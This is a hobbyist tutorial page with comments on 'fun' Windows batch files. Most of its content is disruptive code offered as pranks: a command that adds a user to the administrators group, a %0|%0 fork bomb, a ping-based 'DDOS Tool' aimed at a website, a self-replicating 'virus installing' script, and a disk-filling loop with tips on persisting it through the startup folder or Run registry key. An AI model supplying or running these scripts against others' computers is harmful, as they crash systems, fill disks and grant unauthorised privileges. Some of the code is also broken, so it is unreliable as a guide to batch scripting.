loading
ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)

Step 1: fun thing #1

this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)
<p>FORK BOMB!!! *DONT RUN UNLESS YOU WANT TO SLOW DOWN COMPUTER (TEMP) and crash it :P!! *WAY WORSE THAN a RUN loop &gt;:)</p><p>To stop it you will prob have to hold power button</p><p>CODE( just because there isnt much code doesnt mean it isnt destructive (temp):</p><p>:fork</p><p>%0|%0</p><p>start %0</p><p>goto :fork</p>
<p>DDOS Tool:</p><p>@echo off</p><p>:menu</p><p>title DDOS Tool by WolfBitez</p><p>color 0a</p><p>echo ==========</p><p>echo DDOS Tool</p><p>echo ==========</p><p>echo.</p><p>echo - DDOS</p><p>echo - Exit</p><p>echo.</p><p>set /p op=Run: </p><p>if %op%==DDOS goto a</p><p>if %op%==ddos goto a</p><p>if %op%==Exit goto b</p><p>if %op%==exit goto b</p><p>:a</p><p>cls</p><p>title DDOS Execution</p><p>echo ==========</p><p>echo DDOS Tool</p><p>echo ==========</p><p>echo.</p><p>echo Please name a website to DDOS</p><p>echo.</p><p>set /p site=Website: </p><p>echo.</p><p>echo Now select the amount of bytes to DDOS the site with. Ranges from 0-65500.</p><p>echo.</p><p>set /p packet=Bytes: </p><p>echo.</p><p>echo Want this to be endless? If so, type -t below. If not, leave it blank.</p><p>set /p t=Endless: </p><p>echo You are about to DDOS %site% with %packet% bytes of data.</p><p>echo Press Ctrl+C to terminate the job.</p><p>echo.</p><p>ping %site% %t% -l %packet%</p><p>ping localhost &gt;nul</p><p>cls</p><p>goto menu</p><p>:b</p><p>echo.</p><p>echo Thank you for using DDOS tool by WolfBitez.</p><p>ping localhost &gt;nul</p><p>EXIT</p>
<p>You know this doesn't work right? It isn't using the right protocol. And technically it would be a DoS tool. &quot;DDoS&quot; means &quot;Distributed denial of service&quot;, which means it comes from multiple different computers. &quot;DoS&quot; Means &quot;Denial of service&quot; which means it's coming from one computer.</p>
<p>this one is very annoying</p><p>@echo off</p><p>SET mypath=%~dp0</p><p>echo virus installing...</p><p>type NUL &gt; START.bat</p><p>ECHO @echo off &gt;&gt; START.bat</p><p>ECHO SET mypath=%~dp0 &gt;&gt; START.bat</p><p>ECHO echo %mypath:~0,-1% &gt;&gt; START.bat</p><p>ECHO type NUL &gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO @echo off &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO SET mypath=%~dp0 &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO type NUL &gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO type NUL &gt; batchfile.bat &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO ECHO @echo off &gt;&gt; batchfile.bat &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO ECHO SET mypath=%~dp0 &gt;&gt; batchfile.bat &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO ECHO start &quot;%mypath:~0,-1%&quot; batchfile &gt;&gt; batchfile.bat &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO ECHO start &quot;%mypath:~0,-1%&quot; START &gt;&gt; batchfile.bat &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO ECHO timeout/t 1/nobreak &gt;nul% &gt;&gt; batchfile.bat &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO start &quot;%mypath:~0,-1%&quot; batchfile &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO start &quot;%mypath:~0,-1%&quot; START &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO timeout/t 1/nobreak &gt;nul% &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO ECHO end &gt;&gt; batchfile.bat &gt;&gt; START.bat</p><p>ECHO start &quot;%mypath:~0,-1%&quot; batchfile &gt;&gt; START.bat</p><p>ECHO start &quot;%mypath:~0,-1%&quot; START &gt;&gt; START.bat</p><p>ECHO timeout/t 1/nobreak &gt;nul &gt;&gt; START.bat</p><p>ECHO end &gt;&gt; START.bat</p><p>type NUL &gt; desktopsmapper.bat</p><p>ECHO @echo off &gt;&gt; desktopsmapper.bat</p><p>ECHO SET mypath=%~dp0&gt;&gt; desktopsmapper.bat</p><p>ECHO echo save as desktopspammer.bat&gt;&gt; desktopsmapper.bat</p><p>ECHO start &quot;%mypath:~0,-1%&quot; desktopspammer&gt;&gt; desktopsmapper.bat</p><p>ECHO cd &quot;%systemdrive%/documents and settings/%username%/desktop&quot;&gt;&gt; desktopsmapper.bat</p><p>ECHO set /p x= name of folder : %random%&gt;&gt; desktopsmapper.bat</p><p>type NUL &gt; unstoppable.bat</p><p>ECHO @echo off &gt;&gt; unstoppable.bat</p><p>ECHO SET mypath=%~dp0 &gt;&gt; unstoppable.bat</p><p>ECHO start unstoppable &quot;%mypath:~0,-1%&quot; &gt;&gt; unstoppable.bat</p><p>ECHO start START &quot;%mypath:~0,-1%&quot; &gt;&gt; unstoppable.bat</p><p>ECHO exit &gt;&gt; unstoppable.bat</p><p>CLS</p><p>msg *virus installed*</p><p>timeout /t 2 /nobreak &gt;nul</p><p>start &quot;%mypath:~0,-1%&quot; START</p>
<blockquote>How do you do the administrator one? It keeps saying access <strong><em>denied.</em></strong></blockquote>
<p>Are you in administrator mode?</p>
<p>You need to be admin on the pc</p>
Do u need to be admin to modify a users password. And it also says acces denied or system error 5 when i try it on my admin.user.
<p>yus</p>
<p>For useful batch files do visit</p><p><a href="http://batch798.blogspot.in/" rel="nofollow">http://batch798.blogspot.in/</a></p>
<p>@ECHO OFF</p><p>Color 0A</p><p>cls</p><p>title Sry for my bad english </p><p>Echo do you alredy have a folder ? (Yes/No)</p><p>set/p &quot;ggg=&gt;&quot;</p><p>if %ggg%==Yes goto 7767</p><p>if %ggg%==yes goto 7767</p><p>if %ggg%==no goto Erstellen</p><p>if %ggg%==No goto Erstellen</p><p>goto End</p><p>:7767</p><p>cls</p><p>echo Whats the name of your folder ?</p><p>set/p OrdnerName=</p><p>echo.</p><p>echo please enter the first code.</p><p>set/p zufall=</p><p>echo please enter the second code.</p><p>set/p zufall2=</p><p>echo.</p><p>if NOT EXIST &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot; goto 7896</p><p>goto 7575</p><p>:7896</p><p>cls</p><p>Echo this folder doesent exist.</p><p>Echo do you want to try to open your folder again ? (Yes/No)</p><p>set/p &quot;Harzz=&gt;&quot;</p><p>if %Harzz%==Yes goto 7767</p><p>if %Harzz%==yes goto 7767</p><p>if %Harzz%==no goto End</p><p>if %Harzz%==No goto End</p><p>goto 7575</p><p>if EXIST &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot; goto </p><p>if NOT EXIST &quot;%OrdnerName%&quot; goto MDOrdner2</p><p>echo Invalid choice.</p><p>goto CONFIRM2</p><p>:LOCK2</p><p>cls</p><p>ren %OrdnerName% &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot;</p><p>attrib +h +s &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot;</p><p>echo %OrdnerName% closed.</p><p>timeout&gt;nul /t 2</p><p>goto End</p><p>:455</p><p>echo Zahlencode eingeben</p><p>set/p &quot;RRR=&gt;&quot;</p><p>if NOT %RRR%==%zufall% goto FAIL2</p><p>echo.</p><p>:7575</p><p>cls</p><p>attrib -h -s &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot;</p><p>ren &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot; %OrdnerName%</p><p>echo folder unlocked.</p><p>timeout&gt;nul /t 2</p><p>goto schliesen2</p><p>:qwer</p><p>taskkill explorer.exe</p><p>goto LOCK2</p><p>goto End</p><p>:MDOrdner2</p><p>md %OrdnerName%</p><p>echo folder created.</p><p>timeout&gt;nul /t 2</p><p>cls</p><p>goto schliesen2</p><p>:schliesen2</p><p>cls</p><p>Echo do you want to close the folder ? (Yes/No)</p><p>set/p &quot;Ordner=&gt;&quot;</p><p>if %Ordner%==Yes goto LOCK2</p><p>if %Ordner%==yes goto LOCK2</p><p>if %Ordner%==no goto Weiter</p><p>if %Ordner%==Nein goto Weiter</p><p>:Erstellen</p><p>Echo enter a name for your folder </p><p>set/p OrdnerName=</p><p>echo.</p><p>:9898</p><p>Echo please enter 4 code numbers</p><p>Echo the numbers are realy important so dont forget them.</p><p>set/p zufall2=</p><p>echo.</p><p>Echo please enter the second code for your folder (4 numbers)</p><p>set/p zufall=</p><p>echo.</p><p>if EXIST &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD-%zufall%2B30309D}&quot; goto 8989</p><p>Echo Saved your codes.</p><p>timeout&gt;nul /t 2</p><p>goto MDOrdner2</p><p>:8989</p><p>cls</p><p>Echo this code is alredy taken enter another code.</p><p>timeout&gt;nul /t 2</p><p>cls</p><p>goto 9898</p>
<p>WHAT DOES THIS &quot;VIRUS&quot; DO?</p>
<p>falls Jemand seinen Ordner mit einem Passwort sch&uuml;tzen m&ouml;chte.</p><p>Ist eine besser als die Standart Version</p><p>@ECHO OFF<br>Color 0A<br>cls<br>title Passwort geschuetzter Ordner<br>Echo Hast du schon einen Ordner erstellt ? (Ja/Nein)<br>set/p &quot;ggg=&gt;&quot;<br>if %ggg%==Ja goto 7767<br>if %ggg%==ja goto 7767<br>if %ggg%==nein goto Erstellen<br>if %ggg%==Nein goto Erstellen<br>goto End<br>:7767<br>cls<br>echo Wie heist dein Ordner ?<br>set/p OrdnerName=<br>echo.<br>echo bitte den ersten Zahlencode eingeben.<br>set/p zufall=<br>echo bitte den zweiten Zahlencode eingeben.<br>set/p zufall2=<br>echo.<br>if NOT EXIST &quot;Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}&quot; goto 7896<br>goto 7575<br>:7896<br>cls<br>Echo Dieser Ordner exestiert nicht.<br>Echo Moechtest du erneut versuchen deinen Ordner zu oeffnen ? (Ja/Nein)<br>set/p &quot;Harzz=&gt;&quot;<br>if %Harzz%==ja goto 7767<br>if %Harzz%==Ja goto 7767<br>if %Harzz%==Nein goto Weiter<br>if %Harzz%==nein goto Weiter</p><p>goto 7575<br>if EXIST &quot;Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}&quot; goto <br>if NOT EXIST &quot;%OrdnerName%&quot; goto MDOrdner2<br>echo Invalid choice.<br>goto CONFIRM2<br>:LOCK2<br>cls<br>ren %OrdnerName% &quot;Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}&quot;<br>attrib +h +s &quot;Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}&quot;<br>echo %OrdnerName% geschlossen.<br>timeout&gt;nul /t 2<br>goto Weiter</p><p>:455<br>echo Zahlencode eingeben<br>set/p &quot;RRR=&gt;&quot;<br>if NOT %RRR%==%zufall% goto FAIL2<br>echo.<br>:7575<br>cls<br>attrib h -s &quot;Control Panel.{21EC%zufall2%-3AEA-1061-A2DD%zufall%2B30309D}&quot;<br>ren &quot;Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}&quot; %OrdnerName%<br>echo Ordner geoeffnet.<br>timeout&gt;nul /t 2<br>goto schliesen2<br>:qwer<br>taskkill explorer.exe<br>goto LOCK2<br>goto End<br>:MDOrdner2<br>md %OrdnerName%<br>echo Ordner erstellt.<br>timeout&gt;nul /t 2<br>cls<br>goto schliesen2<br>:schliesen2<br>cls<br>Echo Ordner verschliesen ? (Ja/Nein)<br>set/p &quot;Ordner=&gt;&quot;<br>if %Ordner%==Ja goto LOCK2<br>if %Ordner%==ja goto LOCK2<br>if %Ordner%==Nein goto Weiter<br>if %Ordner%==nein goto Weiter<br>:Erstellen<br>Echo wie soll dein Ordner heisen ?<br>set/p OrdnerName=<br>echo.<br>:9898<br>Echo Bitte gib die erste 4stellige Zahl mit der dein Ordner verbunden wird ein.<br>Echo Diese Codes sind sehr wichtig da der Ordner sonst nie wieder gefunden wird.<br>set/p zufall2=<br>echo.<br>Echo Bitte gib die zweite 4stellige Zahl mit der dein Ordner verbunden wird ein.<br>set/p zufall=<br>echo.<br>if EXIST &quot;Control Panel.{21EC%zufall2%3AEA-1061-A2DD%zufall%2B30309D}&quot; goto 8989<br>Echo Deine angaben sind jetzt gespeichert.<br>timeout&gt;nul /t 2<br>goto MDOrdner2<br>:8989<br>cls<br>Echo die Zahl ist leider schon vergeben bitte gib eine neue ein.<br>timeout&gt;nul /t 2<br>cls<br>goto 9898</p>
use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
<p>You can do this with </p><p>:start </p><p>start</p><p>start</p><p>start</p><p>start</p><p>start</p><p>goto :start</p><p>VERY ANNOYING</p>
no offense, but that isn't even a fork bomb :) its just a bit annoying, can easily be ended in taskmanager or just tskill in CMD :D (since the filename is used as the process name as well) :3
No offence 2 u mate 2 ! It's just a batch script , having 3 lines of code not a virus, so it can't be a FORK Bomb at all..., but is well enough to annoy you when a hoard of cmd screens pop-up in front of you, which can't be closed by pressing down Alt+F4. also, try switching on your taskmgr after executing this batch script, then I guess that it'll be pretty difficult to even bring up taskmgr at all. & even if it comes up, terminating all the cmd's will be a tedious task. It's just for fun & is not meant to do any harm to anyone... :P Though if you want fork bombs, then those also can be made... but with not 3 lines of code ... :)
i know. but i call it a fork bomb because it split itself into 2 (only in a sense) and forks out, like a fork in the road. :3
??????? wht was tht ?
Meaning the number of windows opening increases at an exponential rate.
<p>Is this a fork bomb?</p><p>1. @echo off</p><p>2. :begin</p><p>3.start (this file) virus.bat</p><p>4. goto begin</p><p>and add more #3s then you will have a short but efficient fork bomb that windows does not detect because it is only opening a program.</p>
<p>Fork bomb would be like:</p><p>@echo off<br>:start<br>goto start</p><p>It Starts the CMD thousands of times until the RAM is bogged down enough so that you have to do a hard-shutdown to recover the computer.</p>
read it again. i won't explain any simpler. -.-
<p>No offense but is this not a fork bomb 1. @echo off</p><p>2. :begin</p><p>3.start (this file) virus.bat</p><p>4. goto begin</p><p>This is four lines and it opens itself then repeats with the new file opening itself and so on and so forth. Also you said your line was 3 lines when it is 4.</p>
Thats why you make<br><br>@echo off<br>start tryandclosethis.bat<br>exit<br><br>have fun trying to end task this...
I am not here to spread viruses or damaging forks ! As the title clearly states "fun things to do with batch files" the aim was to create some fun with bat files. If you are looking for damaging stuff I suggest you search some other warez posts on the web - this forum is definitely the wrong one.
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
Sweet! Can't wait to see 'em :)
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now....... <br /> (muhahahaha!)<br />
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
Nice :)
what does that do? Looks good, but i'm in no way to test it
indefinite loop that sends out "0" to an ever growing log file
i wanna prank my friend how long would the process take and how would the windows and such work?
if you look closely at the script you'll notice its only sending out one character to the log followed by appending another character to the log (i.e its now two characters) and so on... The time it will take all depends on the size of the hard disk. Also note the if the disk is formatted with fat32 this will only work up to 4Gb. If the hdd is formatted using NTFS the limit is 16Tb. The thing to do is to add this little script to the windows startup of even add a registry entry to the "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run" (Please do NOT hack your registry unless you know exactly what you do - you may damage your system for good) (You can also add a shortcut that minimizes the the terminal window. As some other posts suggested - its really simple to end this task off by hitting CTRL-D so don't expect to much out of this.
lol i told him it was an installation, but how would it show up as? a cmd with 0s?
that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down
<p>http://www.instructables.com/id/Batch-pc-speed-up-tool/</p><p>This saved me 140 megabytes of space</p>
<p>i sent you an email about a batch AI if your still taking ideas.</p>
<p>Much, much, simpler way of crashing the pc: <br><br>:start %0<br>%0<br><br>That's it, and pop that into the startup folder and you'll have to go delete it from another account or in safe mode, great prank on friends.</p>
thnx
<p>Well,.. this is all what ever. I wanted to know of something useful I could do with making batch files, I am at best a novice, but I don't wish to prank, or confuse the system. I am looking to do something more than present a message/add color/pause/execute (a) program(s)/end...Perhaps if I could get a list of every command (is that possible?). Thank you, and reply if you have this knowledge. </p><p>My idea of something cool is to make my computer do an algorithm that would carry out a procedure/task that is unique and useful. Hmm, Is there a way I can open a program and also perform some duty in the program opened by the .bat with the .bat, per adventure it was my audio player, when it's executed by the batch file can I also make the batch start playing the media that is shown when my audio player opens? Might sound lazy but it would help when time is limited. </p>
<p>U can use this link for all the commands on batch u need:</p><p><a href="http://www.robvanderwoude.com/batchcommands.php" rel="nofollow">http://www.robvanderwoude.com/batchcommands.php</a></p><p>As for useful batch files, try this calculator:</p><p>@echo off<br>title Batch Calculator by Brains Dude<br>color 1f<br>:top<br>echo --------------------------------------------------------------<br>echo Welcome to Batch Calculator by Brains Dude<br>echo --------------------------------------------------------------<br>echo.<br>set /p sum=<br>set /a ans=%sum%<br>echo.<br>echo = %ans%<br>echo --------------------------------------------------------------<br>pause<br>cls<br>echo Previous Answer: %ans%<br>goto top<br>pause<br>exit</p>
A much more &quot;useful&quot; (dangerous) program would be this.<br>@echo off<br>:a<br>echo The contents of a spam file goes here. &gt;&gt; %random%%random%%random%.%random%%random%%random%<br>goto a

About This Instructable

326,958views

28favorites

License:

More by kerpaul:fun things to do with batch files how to change someone's password 
Add instructable to: